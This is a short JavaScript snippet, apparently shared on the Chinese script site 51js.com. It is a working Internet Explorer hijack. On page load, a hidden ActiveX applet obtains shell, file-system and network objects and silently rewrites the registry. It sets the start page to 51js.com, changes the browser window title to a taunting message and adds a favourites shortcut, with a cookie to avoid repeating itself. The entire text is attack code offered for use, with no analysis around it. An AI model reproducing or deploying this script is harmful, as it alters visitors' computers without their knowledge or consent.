document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕

//设置主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.51js.com/");
//修改浏览器的标题
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}

AddFavLnk(loc, "无忧脚本", "http://www.51js.com");


}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}

init();

</script>

来源：无忧脚本